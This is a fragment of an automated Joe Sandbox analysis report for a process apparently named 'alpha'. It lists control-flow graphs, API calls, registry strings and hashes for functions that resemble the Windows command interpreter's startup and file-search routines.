                                                                                      control_flow_graph 579 7ff78cf55554-7ff78cf555b9 call 7ff78cf5a640 582 7ff78cf555bc-7ff78cf555e8 RegOpenKeyExW 579->582 583 7ff78cf555ee-7ff78cf55631 RegQueryValueExW 582->583 584 7ff78cf55887-7ff78cf5588e 582->584 585 7ff78cf5f248-7ff78cf5f24d 583->585 586 7ff78cf55637-7ff78cf55675 RegQueryValueExW 583->586 584->582 587 7ff78cf55894-7ff78cf558db time srand call 7ff78cf58f80 584->587 589 7ff78cf5f260-7ff78cf5f265 585->589 590 7ff78cf5f24f-7ff78cf5f25b 585->590 591 7ff78cf5568e-7ff78cf556cc RegQueryValueExW 586->591 592 7ff78cf55677-7ff78cf5567c 586->592 589->586 594 7ff78cf5f26b-7ff78cf5f286 _wtol 589->594 590->586 597 7ff78cf5f2b6-7ff78cf5f2bb 591->597 598 7ff78cf556d2-7ff78cf55710 RegQueryValueExW 591->598 595 7ff78cf5f28b-7ff78cf5f290 592->595 596 7ff78cf55682-7ff78cf55687 592->596 594->586 595->591 599 7ff78cf5f296-7ff78cf5f2b1 _wtol 595->599 596->591 600 7ff78cf5f2ce-7ff78cf5f2d3 597->600 601 7ff78cf5f2bd-7ff78cf5f2c9 597->601 602 7ff78cf55729-7ff78cf55767 RegQueryValueExW 598->602 603 7ff78cf55712-7ff78cf55717 598->603 599->591 600->598 608 7ff78cf5f2d9-7ff78cf5f2f4 _wtol 600->608 601->598 606 7ff78cf55769-7ff78cf5576e 602->606 607 7ff78cf5579f-7ff78cf557dd RegQueryValueExW 602->607 604 7ff78cf5571d-7ff78cf55722 603->604 605 7ff78cf5f2f9-7ff78cf5f2fe 603->605 604->602 605->602 613 7ff78cf5f304-7ff78cf5f31a wcstol 605->613 609 7ff78cf55774-7ff78cf5578f 606->609 610 7ff78cf5f320-7ff78cf5f325 606->610 611 7ff78cf5f3a9 607->611 612 7ff78cf557e3-7ff78cf557e8 607->612 608->598 616 7ff78cf5f357-7ff78cf5f35e 609->616 617 7ff78cf55795-7ff78cf55799 609->617 614 7ff78cf5f34b 610->614 615 7ff78cf5f327-7ff78cf5f33f wcstol 610->615 624 7ff78cf5f3b5-7ff78cf5f3b8 611->624 618 7ff78cf557ee-7ff78cf55809 612->618 619 7ff78cf5f363-7ff78cf5f368 612->619 613->610 614->616 615->614 616->607 617->607 617->616 622 7ff78cf5f39a-7ff78cf5f39d 618->622 623 7ff78cf5580f-7ff78cf55813 618->623 620 7ff78cf5f38e 619->620 621 7ff78cf5f36a-7ff78cf5f382 wcstol 619->621 620->622 621->620 622->611 623->622 625 7ff78cf55819-7ff78cf55823 623->625 626 7ff78cf5582c 624->626 627 7ff78cf5f3be-7ff78cf5f3c5 624->627 625->624 629 7ff78cf55829 625->629 628 7ff78cf55832-7ff78cf55870 RegQueryValueExW 626->628 630 7ff78cf5f3ca-7ff78cf5f3d1 626->630 627->628 631 7ff78cf5f3dd-7ff78cf5f3e2 628->631 632 7ff78cf55876-7ff78cf55882 RegCloseKey 628->632 629->626 630->631 633 7ff78cf5f3e4-7ff78cf5f412 ExpandEnvironmentStringsW 631->633 634 7ff78cf5f433-7ff78cf5f439 631->634 632->584 635 7ff78cf5f428 633->635 636 7ff78cf5f414-7ff78cf5f426 call 7ff78cf513e0 633->636 634->632 637 7ff78cf5f43f-7ff78cf5f44c call 7ff78cf4b900 634->637 639 7ff78cf5f42e 635->639 636->639 637->632 639->634
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryValue$CloseOpensrandtime
                                                                                      • String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
                                                                                      • API String ID: 145004033-3846321370
                                                                                      • Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                                                      • Instruction ID: c2e59b8308f7774edc40437a9fc5f67dcf83f0a431550bea3272fa714b05bae6
                                                                                      • Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                                                      • Instruction Fuzzy Hash: 9EE13C3352DA82D6FA50AB10E45057AF7A0FB89745FE05135FB8E82A58DF7CE644CB20
                                                                                      Function 00007FF78CF537D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269registrythreadmemoryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 821 7ff78cf537d8-7ff78cf53887 GetCurrentThreadId OpenThread call 7ff78cf504f4 HeapSetInformation RegOpenKeyExW 824 7ff78cf5388d-7ff78cf538eb call 7ff78cf55920 GetConsoleOutputCP GetCPInfo 821->824 825 7ff78cf5e9f8-7ff78cf5ea3b RegQueryValueExW RegCloseKey 821->825 828 7ff78cf5ea41-7ff78cf5ea59 GetThreadLocale 824->828 829 7ff78cf538f1-7ff78cf53913 memset 824->829 825->828 830 7ff78cf5ea5b-7ff78cf5ea67 828->830 831 7ff78cf5ea74-7ff78cf5ea77 828->831 834 7ff78cf53919-7ff78cf53935 call 7ff78cf54d5c 829->834 835 7ff78cf5eaa5 829->835 830->831 832 7ff78cf5ea79-7ff78cf5ea7d 831->832 833 7ff78cf5ea94-7ff78cf5ea96 831->833 832->833 837 7ff78cf5ea7f-7ff78cf5ea89 832->837 833->835 841 7ff78cf5393b-7ff78cf53942 834->841 842 7ff78cf5eae2-7ff78cf5eaff call 7ff78cf43240 call 7ff78cf68530 call 7ff78cf54c1c 834->842 838 7ff78cf5eaa8-7ff78cf5eab4 835->838 837->833 838->834 840 7ff78cf5eaba-7ff78cf5eac3 838->840 843 7ff78cf5eacb-7ff78cf5eace 840->843 844 7ff78cf5eb27-7ff78cf5eb40 _setjmp 841->844 845 7ff78cf53948-7ff78cf53962 _setjmp 841->845 850 7ff78cf5eb00-7ff78cf5eb0d 842->850 846 7ff78cf5eac5-7ff78cf5eac9 843->846 847 7ff78cf5ead0-7ff78cf5eadb 843->847 851 7ff78cf539fe-7ff78cf53a05 call 7ff78cf54c1c 844->851 852 7ff78cf5eb46-7ff78cf5eb49 844->852 849 7ff78cf53968-7ff78cf5396d 845->849 845->850 846->843 847->838 853 7ff78cf5eadd 847->853 856 7ff78cf539b9-7ff78cf539bb 849->856 857 7ff78cf5396f 849->857 864 7ff78cf5eb15-7ff78cf5eb1f call 7ff78cf54c1c 850->864 851->825 859 7ff78cf5eb4b-7ff78cf5eb65 call 7ff78cf43240 call 7ff78cf68530 call 7ff78cf54c1c 852->859 860 7ff78cf5eb66-7ff78cf5eb6f call 7ff78cf501b8 852->860 853->834 867 7ff78cf5eb20 856->867 868 7ff78cf539c1-7ff78cf539c3 call 7ff78cf54c1c 856->868 863 7ff78cf53972-7ff78cf5397d 857->863 859->860 879 7ff78cf5eb87-7ff78cf5eb89 call 7ff78cf586f0 860->879 880 7ff78cf5eb71-7ff78cf5eb82 _setmode 860->880 871 7ff78cf539c9-7ff78cf539de call 7ff78cf4df60 863->871 872 7ff78cf5397f-7ff78cf53984 863->872 864->867 867->844 876 7ff78cf539c8 868->876 871->864 889 7ff78cf539e4-7ff78cf539e8 871->889 872->863 881 7ff78cf53986-7ff78cf539ae call 7ff78cf50580 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 872->881 876->871 890 7ff78cf5eb8e-7ff78cf5ebad call 7ff78cf558e4 call 7ff78cf4df60 879->890 880->879 898 7ff78cf539b3 881->898 889->851 893 7ff78cf539ea-7ff78cf539ef call 7ff78cf4be00 889->893 902 7ff78cf5ebaf-7ff78cf5ebb3 890->902 899 7ff78cf539f4-7ff78cf539fc 893->899 898->856 899->872 902->851 903 7ff78cf5ebb9-7ff78cf5ec24 call 7ff78cf558e4 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 call 7ff78cf4be00 call 7ff78cf50580 GetConsoleOutputCP GetCPInfo call 7ff78cf504f4 902->903 903->890
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
                                                                                      • String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
                                                                                      • API String ID: 2624720099-1920437939
                                                                                      • Opcode ID: e0d6314462040d9132af36def7bdcbd46fb0756625f4788b6d15f19097c8c1f5
                                                                                      • Instruction ID: 103d8e0b788410a6bd4ebbab73f84aadefc9c2a77bc01197a7dec9fe0cb7f2cb
                                                                                      • Opcode Fuzzy Hash: e0d6314462040d9132af36def7bdcbd46fb0756625f4788b6d15f19097c8c1f5
                                                                                      • Instruction Fuzzy Hash: BAC1C073E086838AF714BB64A4411B8FAA1FF49714FF49138EB1E96692DE3CA545C720
                                                                                      Function 00007FF78CF5823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1118 7ff78cf5823c-7ff78cf5829b FindFirstFileExW 1119 7ff78cf582cd-7ff78cf582df 1118->1119 1120 7ff78cf5829d-7ff78cf582a9 GetLastError 1118->1120 1124 7ff78cf58365-7ff78cf5837b FindNextFileW 1119->1124 1125 7ff78cf582e5-7ff78cf582ee 1119->1125 1121 7ff78cf582af 1120->1121 1122 7ff78cf582b1-7ff78cf582cb 1121->1122 1126 7ff78cf5837d-7ff78cf58380 1124->1126 1127 7ff78cf583d0-7ff78cf583e5 FindClose 1124->1127 1128 7ff78cf582f1-7ff78cf582f4 1125->1128 1126->1119 1129 7ff78cf58386 1126->1129 1127->1128 1130 7ff78cf58329-7ff78cf5832b 1128->1130 1131 7ff78cf582f6-7ff78cf58300 1128->1131 1129->1120 1130->1121 1132 7ff78cf5832d 1130->1132 1133 7ff78cf58332-7ff78cf58353 GetProcessHeap HeapAlloc 1131->1133 1134 7ff78cf58302-7ff78cf5830e 1131->1134 1132->1120 1135 7ff78cf58356-7ff78cf58363 1133->1135 1136 7ff78cf5838b-7ff78cf583c2 GetProcessHeap HeapReAlloc 1134->1136 1137 7ff78cf58310-7ff78cf58313 1134->1137 1135->1137 1138 7ff78cf650f8-7ff78cf6511e GetLastError FindClose 1136->1138 1139 7ff78cf583c8-7ff78cf583ce 1136->1139 1140 7ff78cf58327 1137->1140 1141 7ff78cf58315-7ff78cf58323 1137->1141 1138->1122 1139->1135 1140->1130 1141->1140
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorFileFindFirstLast
                                                                                      • String ID:
                                                                                      • API String ID: 873889042-0
                                                                                      • Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                                                      • Instruction ID: e6e1dce0fa6fd36fcad6f566a840801f0559c5976a18e330345fbd0071c69e91
                                                                                      • Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                                                      • Instruction Fuzzy Hash: 77514873A09B8296F700AB11E540579FBA0FB5AB91FA49131DB2E43750CF3CE554C720
                                                                                      Function 00007FF78CF52978 Relevance: 9.1, APIs: 6, Instructions: 138COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1142 7ff78cf52978-7ff78cf529b6 1143 7ff78cf529b9-7ff78cf529c1 1142->1143 1143->1143 1144 7ff78cf529c3-7ff78cf529c5 1143->1144 1145 7ff78cf529cb-7ff78cf529cf 1144->1145 1146 7ff78cf5e441 1144->1146 1147 7ff78cf529d2-7ff78cf529da 1145->1147 1148 7ff78cf529dc-7ff78cf529e1 1147->1148 1149 7ff78cf52a1e-7ff78cf52a3e FindFirstFileW 1147->1149 1148->1149 1150 7ff78cf529e3-7ff78cf529eb 1148->1150 1151 7ff78cf52a44-7ff78cf52a5c FindClose 1149->1151 1152 7ff78cf5e435-7ff78cf5e439 1149->1152 1150->1147 1153 7ff78cf529ed-7ff78cf52a1c call 7ff78cf58f80 1150->1153 1154 7ff78cf52ae3-7ff78cf52ae5 1151->1154 1155 7ff78cf52a62-7ff78cf52a6e 1151->1155 1152->1146 1156 7ff78cf52aeb-7ff78cf52b10 _wcsnicmp 1154->1156 1157 7ff78cf5e3f7-7ff78cf5e3ff 1154->1157 1159 7ff78cf52a70-7ff78cf52a78 1155->1159 1156->1155 1160 7ff78cf52b16-7ff78cf5e3f1 _wcsicmp 1156->1160 1159->1159 1162 7ff78cf52a7a-7ff78cf52a8d 1159->1162 1160->1155 1160->1157 1162->1146 1163 7ff78cf52a93-7ff78cf52a97 1162->1163 1165 7ff78cf52a9d-7ff78cf52ade memmove call 7ff78cf513e0 1163->1165 1166 7ff78cf5e404-7ff78cf5e407 1163->1166 1165->1150 1168 7ff78cf5e40b-7ff78cf5e413 1166->1168 1168->1168 1170 7ff78cf5e415-7ff78cf5e42b memmove 1168->1170 1170->1152
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                                                      • Instruction ID: af4c6a74955b1320c632c786f8ec3842dd1daaa8d0470caa580c3f5bcb213ba1
                                                                                      • Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                                                      • Instruction Fuzzy Hash: E8511563B0868285FA30AF15A9452BAE690FB54BA0FE54330DF6E877D1DF3CE645C610
                                                                                      Function 00007FF78CF54D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268memorylibraryloaderCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 643 7ff78cf54d5c-7ff78cf54e4b InitializeCriticalSection call 7ff78cf558e4 SetConsoleCtrlHandler _get_osfhandle GetConsoleMode _get_osfhandle GetConsoleMode call 7ff78cf50580 call 7ff78cf54a14 call 7ff78cf54ad0 call 7ff78cf55554 GetCommandLineW 654 7ff78cf54e4d-7ff78cf54e54 643->654 654->654 655 7ff78cf54e56-7ff78cf54e61 654->655 656 7ff78cf54e67-7ff78cf54e7b call 7ff78cf52e44 655->656 657 7ff78cf551cf-7ff78cf551e3 call 7ff78cf43278 call 7ff78cf54c1c 655->657 662 7ff78cf551ba-7ff78cf551ce call 7ff78cf43278 call 7ff78cf54c1c 656->662 663 7ff78cf54e81-7ff78cf54ec3 GetCommandLineW call 7ff78cf513e0 call 7ff78cf4ca40 656->663 662->657 663->662 674 7ff78cf54ec9-7ff78cf54ee8 call 7ff78cf5417c call 7ff78cf52394 663->674 678 7ff78cf54eed-7ff78cf54ef5 674->678 678->678 679 7ff78cf54ef7-7ff78cf54f1f call 7ff78cf4aa54 678->679 682 7ff78cf54f95-7ff78cf54fee GetConsoleOutputCP GetCPInfo call 7ff78cf551ec GetProcessHeap HeapAlloc 679->682 683 7ff78cf54f21-7ff78cf54f30 679->683 689 7ff78cf54ff0-7ff78cf55006 GetConsoleTitleW 682->689 690 7ff78cf55012-7ff78cf55018 682->690 683->682 684 7ff78cf54f32-7ff78cf54f39 683->684 684->682 686 7ff78cf54f3b-7ff78cf54f77 call 7ff78cf43278 GetWindowsDirectoryW 684->686 696 7ff78cf54f7d-7ff78cf54f90 call 7ff78cf53c24 686->696 697 7ff78cf551b1-7ff78cf551b9 call 7ff78cf54c1c 686->697 689->690 692 7ff78cf55008-7ff78cf5500f 689->692 693 7ff78cf5507a-7ff78cf5507e 690->693 694 7ff78cf5501a-7ff78cf55024 call 7ff78cf53578 690->694 692->690 698 7ff78cf550eb-7ff78cf55161 GetModuleHandleW GetProcAddress * 3 693->698 699 7ff78cf55080-7ff78cf550b3 call 7ff78cf6b89c call 7ff78cf4586c call 7ff78cf43240 call 7ff78cf53448 693->699 694->693 706 7ff78cf55026-7ff78cf55030 694->706 696->682 697->662 704 7ff78cf55163-7ff78cf55167 698->704 705 7ff78cf5516f 698->705 724 7ff78cf550b5-7ff78cf550d0 call 7ff78cf53448 * 2 699->724 725 7ff78cf550d2-7ff78cf550d7 call 7ff78cf43278 699->725 704->705 709 7ff78cf55169-7ff78cf5516d 704->709 710 7ff78cf55172-7ff78cf551af free call 7ff78cf58f80 705->710 711 7ff78cf55075 call 7ff78cf6cff0 706->711 712 7ff78cf55032-7ff78cf55059 GetStdHandle GetConsoleScreenBufferInfo 706->712 709->705 709->710 711->693 716 7ff78cf5505b-7ff78cf55067 712->716 717 7ff78cf55069-7ff78cf55073 712->717 716->693 717->693 717->711 729 7ff78cf550dc-7ff78cf550e6 GlobalFree 724->729 725->729 729->698
                                                                                      APIs
                                                                                      • InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54D9A
                                                                                        • Part of subcall function 00007FF78CF558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF78CF6C6DB), ref: 00007FF78CF558EF
                                                                                      • SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54DBB
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF54DCA
                                                                                      • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54DE0
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF54DEE
                                                                                      • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E04
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF50589
                                                                                        • Part of subcall function 00007FF78CF50580: SetConsoleMode.KERNELBASE ref: 00007FF78CF5059E
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF505AF
                                                                                        • Part of subcall function 00007FF78CF50580: GetConsoleMode.KERNELBASE ref: 00007FF78CF505C5
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF505EF
                                                                                        • Part of subcall function 00007FF78CF50580: GetConsoleMode.KERNELBASE ref: 00007FF78CF50605
                                                                                        • Part of subcall function 00007FF78CF50580: _get_osfhandle.MSVCRT ref: 00007FF78CF50632
                                                                                        • Part of subcall function 00007FF78CF50580: SetConsoleMode.KERNELBASE ref: 00007FF78CF50647
                                                                                        • Part of subcall function 00007FF78CF54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                        • Part of subcall function 00007FF78CF54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                        • Part of subcall function 00007FF78CF54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                        • Part of subcall function 00007FF78CF54A14: memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                        • Part of subcall function 00007FF78CF54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                        • Part of subcall function 00007FF78CF54AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AD6
                                                                                        • Part of subcall function 00007FF78CF54AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AEF
                                                                                        • Part of subcall function 00007FF78CF55554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF78CF54E35), ref: 00007FF78CF555DA
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55623
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55667
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF556BE
                                                                                        • Part of subcall function 00007FF78CF55554: RegQueryValueExW.KERNELBASE ref: 00007FF78CF55702
                                                                                      • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E35
                                                                                      • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54E81
                                                                                      • GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54F69
                                                                                      • GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54F95
                                                                                      • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FB0
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FC1
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FD8
                                                                                      • GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF54FF8
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55037
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5504B
                                                                                      • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF550DF
                                                                                      • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF550F2
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5510F
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55130
                                                                                      • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF5514A
                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF78CF55175
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
